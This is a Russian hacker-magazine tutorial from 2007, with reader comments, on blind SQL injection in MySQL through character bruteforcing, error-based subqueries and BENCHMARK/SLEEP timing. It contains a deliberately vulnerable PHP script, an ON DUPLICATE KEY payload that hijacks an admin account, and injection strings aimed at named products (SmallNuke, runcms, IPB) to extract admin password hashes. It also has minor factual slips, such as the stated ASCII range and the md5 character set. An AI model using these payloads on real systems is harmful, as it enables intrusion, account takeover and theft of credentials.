----[ MYSQL CHAR BRUTEFORCING ... under0x77ater ] "Когда я это писал меня постояно будили - мать твою , я же творю ..." Не всегда при проведении атаки вида sql - injection возможно воспользоваться оператором union и единственным способом получить информацию из таблицы является посимвольный перебор данных.Этот способ является универсальным для всех операторов, будь то UPDATE,SET,DELETE или INSERT,так как даже модифицируя данные,поступаемые в таблицу,результат нас не всегда будет устраивать из-за таблицы,не удовлетворяющей нашим потребностям.На примере всех типов запросов я покажу как быстро и грамотно проделать перебор и получить требуемую информацию. Публикация из журнала "Хакер" за декабрь 2007 год
----[ NITRO ... ] Не всегда при проведении атаки вида sql - injection возможно воспользоваться оператором union и единственным способом получить информацию из таблицы является посимвольный перебор данных.Этот способ является универсальным для всех операторов, будь то UPDATE,SET,DELETE или INSERT,так как даже модифицируя данные,поступаемые в таблицу,результат нас не всегда будет устраивать из-за таблицы,не удовлетворяющей нашим потребностям.На примере всех типов запросов я покажу как быстро и грамотно проделать перебор и получить требуемую информацию. ----[ FUNCTIONS ... ] ASCII(STRING) - Возвращает числовое значение первого символа строки STRING или ноль в случае,если строка является пустой. Работает в диапазоне от 0 до 2555. PHP: mysql > SELECT ASCII(1) -> 49 PHP: mysql > SELECT ASCII('1') -> 49 PHP: mysql > SELECT ASCII('a') -> 97 PHP: mysql > SELECT ASCII('aa') -> 97 ORD(STRING) - Возвращает код первого символа строки STRING , вычисленного из числовых значений байтов,из которых он состоит. Если же левый символ не многобайтный,работает как и функция ASCII. (код 1 байта * 256) + (код 2 байта * 256^2) + (код 3 байта * 256^3) PHP: mysql > SELECT ORD(1) -> 49 PHP: mysql > SELECT ORD('1') -> 49 PHP: mysql > SELECT ORD('a') -> 97 PHP: mysql > SELECT ORD('aa') -> 97 BETWEEN MIN AND MAX - Если выражение больше или равно MIN и меньше или равно MAX , то BETWEEN() возвратит 1 , иначе 0. Если все элементы имеет один тип (например,числовой),то запрос сводится к выражению MIN <= QUERY AND QUERY <= MAX.До MySQL 4.0.5 в случае неоднотипных данных шло приведение к типу запроса. PHP: mysql > SELECT 5 BETWEEN 1 AND 6 -> 1 PHP: mysql > SELECT 5 BETWEEN '1' AND '6' -> 1 PHP: mysql > SELECT 5 BETWEEN 1 AND 4 -> 0 PHP: mysql > SELECT 5 BETWEEN '1' AND '4' -> 0 IN(VALUE1,VALUE2) - Вощвращает 1 , если запрос равен одному из значений в IN(),в противном случае mysql вернет 0.Если все значения - константы,они обрабатываются в соответствии с типом запроса и сортируются с использованием бинарного дерева.То есть запрос выполнится быстро если все переменные однотипны.Значения регистрозависимы. PHP: mysql > SELECT 1 IN (2,3,4,5,1) -> 1 PHP: mysql > SELECT 1 IN (2,3,4,5,'1') -> 1 PHP: mysql > SELECT 1 IN (2,3,4,5,0) -> 0 PHP: mysql > SELECT 1 IN (2,3,4,5,'0') -> 0 LOWER(STRING) - Возвращает строку STRING в которой все символы приведены к нижнему регистру в соответсвии с текущим набором символов (по умолчанию ISO-8859-1 LATIN1) PHP: mysql > SELECT LOWER('ITDEFENCE') -> itdefence PHP: mysql > SELECT LOWER('ITDEFeNCE') -> itdefence PHP: mysql > SELECT LOWER('itdefence') -> itdefence PHP: mysql > SELECT LOWER(123) -> 123 SUBSTRING(STRING,POSITION,LENGTH) - Функцию копирует подстроку из строки STRING с позиции POSITION длины LENGTH PHP: mysql > SELECT SUBSTRING('itdefence',4) -> efence PHP: mysql > SELECT SUBSTRING('itdefence' FROM 4) -> efence PHP: mysql > SELECT SUBSTRING('itdefence',4,2) -> ef PHP: mysql > SELECT SUBSTRING('itdefence',1,2) -> it SUBSTRING_INDEX(STRING,DELIMITER,LENGTH) - Возвращает подстроку строки STRING до позиции LENGTH после разделителя DELIMITER. Если значение LENGTH положительное,возвращается все,что лежит слева от DELIMITER.Если значение LENGTH отрицательное,возвращается все, что лежит справа от разделителя DELIMITER. PHP: mysql > SELECT SUBSTRING_INDEX('itdefence.ru', '.' ,2) -> itdefence.ru PHP: mysql > SELECT SUBSTRING_INDEX('itdefence.ru','.',-1) -> ru PHP: mysql > SELECT SUBSTRING_INDEX('itdefence.ru','.',1) -> itdefence
----[ EXAMPLE ... ] Для примера создадим таблицу USERS с полями id username password PHP: mysql > CREATE TABLE `users` ( `id` int(11) NOT NULL default '0', `username` varchar(15) NOT NULL default '', `password` varchar(32) NOT NULL default '' ) ENGINE=MyISAM DEFAULT CHARSET=cp1251; И внесем для теста оду запись 1,itdefence,itdefence PHP: mysql > INSERT INTO `users` ( `id` , `username` , `password` ) VALUES ( '1', 'itdefence', 'itdefence' ); И напишем скрипт со специально сделанной уязвимостью PHP: <?php $sqlhost = 'localhost'; $sqlpass = ''; $sqluser = 'root'; $sqlname = 'itdefence'; $mysql_link = mysql_connect($sqlhost,$sqluser,$sqlpass); if (!$mysql_link) die (mysql_error()); $result = mysql_select_db($sqlname); if (!$result) die (mysql_error()); $query = 'SELECT * FROM `users` WHERE `id`=\''.$_GET['id'].'\''; $result = mysql_query($query); if (!$result) die (mysql_error()); echo mysql_num_rows($result); mysql_close($mysql_link); ?> ----[ SUBQUERIES ... ] Для примера я буду рассматривать MySQL > 4.1 так как с этой версии поддерживаются все формы подзапросов,которых требует стандарт SQL.Подзапрос можно вкладывать в другой подзапрос и его надо обрамлять скобами PHP: mysql > SELECT * FROM `users` WHERE `id` = (SELECT MAX(ID) FROM `users`) PHP: mysql > SELECT * FROM `users` WHERE `id` = ANY ( SELECT MAX(id) FROM `users`) PHP: mysql > SELECT * FROM `users` WHERE (1,1) = ( SELECT `id`,`username` FROM `users` ) В процессе могут встречаться следующие ошибки , как : неподдерживаемый синтаксис ошибок PHP: mysql > SELECT * FROM `users` WHERE `id` IN ( SELECT `id` FROM `users` ORDER BY `id` LIMIT 1) -> #1235 - This version of MySQL doesn't yet support 'LIMIT & IN/ALL/ANY/SOME subquery' число столбцов в подзапросе неверное PHP: mysql > SELECT ( SELECT `id`,`username` FROM `users`) FROM `users` -> #1241 - Operand should contain 1 column(s) неверное количество строк в поздапросе PHP: mysql > SELECT `id` FROM `users` WHERE `id` = ( SELECT id FROM `users` ) -> #1242 - Subquery returns more than 1 row Ошибка в подзапросе приводит к нарушению всего запроса.Для более ранних версий можно запросы с подзапросами заменить более легкими конструкциями PHP: mysql > SELECT DISTINCT users.* FROM `users` WHERE users.id = 1 PHP: mysql > SELECT users.* FROM users LEFT JOIN banned ON users.id = banned.id WHERE banned.id IS NOT NULL
----[ LETS DO IT ... ] Когда мы уже знакомы с синтаксисом подзапросов и описанием нужных функций перейдем к делу.Вернемся к нашему скрипту и внимательно взглянув на запрос,видим что отсутствует фильтрация входящего параметра id.Для проверки подставим одинарную ковычку,чтобы нарушить структуру запроса и привести его к неправильному виду. PHP: mysql > SELECT * FROM `users` WHERE `id`=''' -> 'You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''''' at line 1 Мы можем самостоятельно завершить запрос , подставив ковычку и знак комментария.Изначально в mysql поддерживалось только три типа комментариев , многострочные /* */ , однострочный # и для совместимости с языком SQL однострочный -- , после которого обязательно должен идти пробел либо символ перевода строки.Я буду использовать -- , выбор особого значения это не имеет , скорее это дело привычки. PHP: mysql > SELECT * FROM `users` WHERE `id`='0'-- -> 0 PHP: mysql > SELECT * FROM `users` WHERE `id`='1'-- -> 1 Так как вывода данных кроме как результата обработки мы не имеем , будем делать перебор каждого символа строки с его ascii кодом. PHP: mysql > SELECT * FROM `users` WHERE `id`='0' or ascii(1)=49-- -> 2 PHP: mysql > SELECT * FROM `users` WHERE `id`='0' or ascii(1)=40-- -> 0 PHP: mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(1)=49-- -> 1 PHP: mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(1)=48-- -> 0 AND надо использовать в том случае,если первое условие запроса вернет какой либо результат,иначе запрос прервется еще не дойдя до второго нужного нам условия,а OR если первое условие нашего запроса не возвращает результата. Каким способом мы будем сравнивать тоже имеет значение,запрос с однотипными данными займет куда меньше времени нежели сервер будет сам приводить оба к единому типу. PHP: mysql > SELECT 1 > 1 -> 0 PHP: mysql > SELECT 7 > '6x' -> 1 PHP: mysql > SELECT 7 > 'x6' -> 1 PHP: mysql > SELECT 0 = 'x6' -> 1 Возможные типы сравнения в mysql : равенство = , безопасное с точки зрения сравнения с NULL равенство <=> , неравенство <> != , меньше и больше < > , меньше или равно и больше или равно <= => соответствено и сравнению с NULL IS NULL , IS NOT NULL. Для перебора нам надо будет копировать каждый символ строки с помощью функции SUBSTRING , сравнивая его сначала с нулем , а затем с набором ascii кодов для нужного типа данных.Узнать такой код можно например с помощью php функции ORD(). Перейдем к практике и вернемся к нашему примеру.В таблице `users` поле password содержит данные в md5 шифровании,что часто встречается в различных cms и форумах.Это несколько облегчит нашу задача,так как используя функцию lower() и известный набор символов мы быстро получим результат.Как известно,md5 хеш может состоять только из цифр от единицы до девяти и буквы a,b,c,d,e,f. Используя навыки обращения с ascii() и substring() составим запрос с подзапросом-выборкой пароля. PHP: mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1))>0-- -> 1 PHP: mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1))<0-- -> 0 При больших обьемах перебора будет рационально другой метод сравнения путем использования IN или NOT IN. PHP: mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) IN(1,2,4,5)-- -> 0 PHP: mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) IN(51,52,53)-- -> 1 У этого метода по скорости выигрывает BETWEEN , так как выполняется в меньше кол-во тактов. PHP: mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) BETWEEN 1 and 5-- -> 0 PHP: mysql > SELECT * FROM `users` WHERE `id`='1' and ascii(substring((select password from users where id=1),1,1)) BETWEEN 51 and 55-- -> 1 То есть вся наша работа сводится к заданию промежутка оптимального количества кодов и если результат положителен,сравнивание с каждым кодом из диапазона. Как я уже сказал,вся универсальность метода заключается в том,что он будет работать независимо от оператора,будь то SELECT, INSERT,UPDATE,DO,DELETE или SET.На всякий случай покажу пример с INSERT.Модифицируем наш запрос до вида,специально оставив переменную id нефильтруемой. PHP: $query = 'INSERT INTO `users` (id,username,password) VALUES (\''.$_GET['id'].'\',\'example\',\''.md5('example').'\');'; В таком случае наш запрос принимает вид , в случае которого при неудачном условии нам вернется сообщение с ошибкой Subquery returns more than 1 row,так как выполнится условие 1=select 1 union select 2 что является недопустимым синтаксисом для mysql. PHP: mysql > INSERT INTO `users` (id,username,password) VALUES ('1','example',1=if(ascii(1)=48,1,(select 1 union select 2)))/* -> 0 PHP: mysql > INSERT INTO `users` (id,username,password) VALUES ('1','example',1=if(ascii(1)=49,1,(select 1 union select 2)))/* -> 1
----[ ON DUPLICATE ... ] Начиная с mysql 4.1 , если при вставки данных с уже существующим первично указанным ключом то можно воспользоваться конструкцией ON DUPLICATE KEY , которая при выполнении условия выполнит запрос на уже существующую колонку , аналогичный UPDATE`у. Допустим , мы имеем иньекцию в регистрации пользователя в поле username PHP: mysql > SHOW CREATE TABLE `users` ->CREATE TABLE `users` ( `name` varchar(60) NOT NULL default '', `password` varchar(32) NOT NULL default '', `email` varchar(60) NOT NULL default '', `joindate` int(10) unsigned NOT NULL default '0', PRIMARY KEY (`name`) ) ENGINE=MyISAM DEFAULT CHARSET=utf8; PHP: mysql > INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','testeng' , '[email protected]' , '12.12.2007') -> Добавлены ряды: 1 (Запрос занял 0.0004 сек) Теперь внедняем иньекцию в поле name , изменим пароль администратора underwater PHP: mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','antichat' , '[email protected]' , 'spielberg')-- ','testeng' , 'evgeniy@minaev.ru' , '12.12.2007') -> #1062 - Duplicate entry 'underwhater' for key 1 PHP: mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','testeng' , '[email protected]' , '12.12.2007') ON DUPLICATE KEY UPDATE `name`='evgeniy',`password`='mafia'-- ','testeng' , 'evgeniy@minaev.ru' , '12.12.2007') -> Добавлены ряды: 2 (Запрос занял 0.0005 сек) В итоге имеем администратора evgeniy а не underwater с собственным паролем.Также мы можем апдейтить другие таблицы , допустим PHP: mysql -> INSERT INTO `users` ( `name` , `password` , `email` , `joindate` ) VALUES ( 'underwhater','testeng' , '[email protected]' , '12.12.2007') ON DUPLICATE KEY UPDATE table2.admin_pass = 'underWHAT?!' ----[ BENCHMARK ... ] Использовать benchmark для анализа запросов нужно только в тех случаях , когда вариант с подзапросами не дает результатов.Впервые этот метод описал 1dt.w0lf , а затем широко раскрыл Elekt в своем мануале по benchmark-иньекциям.Используя if конструкцию мы можем заставить mysql производить какие то действия в случае правильного запроса и замеряя время ответа от сервера судить правильность запроса. Время , которое при этом затрачивает mysql есть время потраченное на клиента , а не потраченное центральным процессором , поэтому рекоммендуется выполнять BENCHMARK() несколько раз чтобы убедиться в правильности заданного условия в зависимости от нагрузки процессора. Benchmark сильно загружает процессор и поэтому выполнять его стоит только при правильном запросе , так как кол-во правильных куда меньше чем неудачных попыток перебора , да и время работы оставляет желать лучшего - на работу эксплоита может уйти больше часа.Также следует настроить параметр , отвечающий за кол-во выполняемых действия , так как для каждого сервера он скорей всего будет разным. PHP: mysql > SELECT `pass` FROM `users` WHERE `login` = '' or 1 = if (ascii(1)=49,1,benchmark(999999,md5('test')))-- -> Запрос занял 0.0004 сек PHP: mysql > SELECT `pass` FROM `users` WHERE `login` = '' or 1 = if (ascii(1)=48,1,benchmark(999999,md5('test')))-- -> Запрос занял 3.6821 сек ----[ SHKODING ... ] С методом мы определились , перейдем к програмной реализации и сразу рассмотрим для примера продукт SmallNuke ( www.smallnuke.com ).На момент написания статьи последней версией была 2.0.4.В файле modules/members/lost_pass.php можно легко обнаружить BLIND SQL INJECTION, при высылке забытого пароля. PHP: $username = trim (strip_tags ($_POST['username'])); $user_email = trim (strip_tags ($_POST['user_email'])); if (($username != "") AND ($user_email == "")) { $where_dat = "username = '$username'"; } elseif (($username == "") AND ($user_email != "")) { $where_dat = "user_email = '$user_email'"; } elseif (($username != "") AND ($user_email != "")) { $where_dat = "username = '$username' AND user_email = '$user_email'"; } elseif (($username == "") AND ($user_email == "")) { header ("Location: index.php?go=Members&in=lost_pass"); exit; } $sql = "SELECT * FROM ".SN_MEMBERS_TABLE." WHERE $where_dat"; Нас вполне устроит подстановка иньекции в поле user_email,поэксперементируем с запросами.Подставляем значение ' and ascii(1)=48/* для поля для указания e-mailа пользователя и видим редирект на страницу с указанием ошибки.Запрос принимает такой вид. PHP: mysql > SELECT * FROM `users` WHERE user_email = '' and ascii(1)=48/* Изменим значение ascii(1) на 49 и при подстановке измененного запроса увидим сообщение об успешной отправки нового пароля на емейл пользователя.Нас такой вариант с перестановкой пароля не устраивает поэтому мы вытащим посимвольным перебором хеш админа. PHP: mysql -> 123' or ascii(substring((select password from sn_admins where admin_id=1),1,1))=49/* Таже ситуация и с запросом DELETE , на примере runcms это выглядит так . При получении айпи адреса проверяется лишь заголовок X-FORWARDED-FOR , однако CLIENT-IP хоть и не проверяется но учитывается. PHP: runcms/class/core.php 130: if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown")) PHP: runcms/class/core.php 135: elseif (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown")) m PHP: odules\newbb_plus\class\class.whosonline.php (32): $sql = "DELETE FROM ".$bbTable['whosonline']." where timestamp<".(time()-300 OR user_ip='"._REMOTE_ADDR."'"; После некоторых манипуляций запрос принимает окончательный вид . Главное условие - существование в таблицы хоть одной сессии , иначе наш подзапрос не выполнится. PHP: mysql -> 123' or 1=if(ascii(substring((select pass from users where uid=1),1,1))=49,0,(select 1 union select 5))/*"); Использование lower сократит время перебора , но его стоит использовать только в случае если регистр данных в таблице не имеет значения , обычно так и оно и есть - пароли в большинстве случаев хранятся в md5 и при переборе хеша регистр символом не учитывается. http://underwater.itdefence.ru/blog/mysql_char.txt
написанное баян, но в тоже время будет слишком сложно для средне статистичесского читателя журнала хакер. им нужны статьи как ковычку поставить чтобы инторнет похэнкоть
Полностью согласен! Статейка "не для всех...." больше половину юзеров просто ничего не поймут....я и сам с трудом чуть разобрался))
Применение конструкции вида INSERT ... ON DUPLICATE KEY UPDATE ... очень ограниченное и на практике использование подобного запроса крайне затруднительно. Например если мы имеем инъекцию после VALUES в таблице, где колонка PRIMARY KEY является auto_increment, то UPDATE после ON DUPLICATE KEY разумеется в естественных условиях никогда не выполнится. То есть нужно иметь инъекцию до VALUES - в названии колонок для инсерта
SLEEP как альтернатива BENCHMARK. В отличие от бенчмарка, sleep не требует вычислительных действий и нахождения погрешности во времени ответа от сервера, то есть выигрыш на лицо. Функция выполняется mysql > DO SLEEP(1); -> SQL-запрос был успешно выполнен (запрос занял 1.0068 сек.) На примере IPB mysql > SELECT * FROM `ibf_members_converge` WHERE `converge_id` = '2' or sleep(1)-- ' -> MySQL вернула пустой результат (т.е. ноль строк). (запрос занял 1.0066 сек.) mysql > mysql > SELECT * FROM `ibf_members_converge` WHERE `converge_id` = '1' or sleep(1)-- ' -> Отображает строки 0 - 0 (1 всего, запрос занял 0.0005 сек.)